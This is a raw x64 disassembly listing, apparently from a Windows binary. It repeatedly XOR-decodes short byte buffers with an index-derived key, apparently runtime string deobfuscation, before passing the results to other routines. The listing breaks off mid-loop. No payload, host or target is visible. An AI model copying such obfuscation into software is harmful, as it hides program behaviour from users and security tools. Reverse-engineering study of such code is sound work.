lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c878]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.1400279d0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140022030
cmp edi, 2
jl 0x140021ff8
mov edx, ebx
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140021f10
jmp 0x140022030
mov r9, r10
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140022000
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.1400279a0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400221e0
mov r8d, ebx
cmp edi, 2
jl 0x14002219f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400220b0
cmp r8d, 0x21
jge 0x1400221e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400221b0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140022370
mov r8d, ebx
cmp edi, 2
jl 0x14002232f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140022240
cmp r8d, 0x35
jge 0x140022370
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140022340
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c5a0]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027a20
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x1400225c0
mov r8d, ebx
cmp edi, 2
jl 0x14002257f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022490
cmp r8d, 0x19
jge 0x1400225c0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140022590
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.1400279f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140022770
mov r8d, ebx
cmp edi, 2
jl 0x14002272f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022640
cmp r8d, 0x21
jge 0x140022770
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140022740
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140022900
mov r8d, ebx
cmp edi, 2
jl 0x1400228bf
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400227d0
cmp r8d, 0x35
jge 0x140022900
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400228d0
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c8e8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027a80
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140022b50
mov r8d, ebx
cmp edi, 2
jl 0x140022b0f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022a20
cmp r8d, 0x19
jge 0x140022b50
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140022b20
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027a50
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140022d00
mov r8d, ebx
cmp edi, 2
jl 0x140022cbf
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022bd0
cmp r8d, 0x21
jge 0x140022d00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140022cd0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140022e90
mov r8d, ebx
cmp edi, 2
jl 0x140022e4f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140022d60
cmp r8d, 0x35
jge 0x140022e90
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140022e60
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c968]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027ae0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400230e0
mov r8d, ebx
cmp edi, 2
jl 0x14002309f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140022fb0
cmp r8d, 0x16
jge 0x1400230e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400230b0
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027ab0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140023290
mov r8d, ebx
cmp edi, 2
jl 0x14002324f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
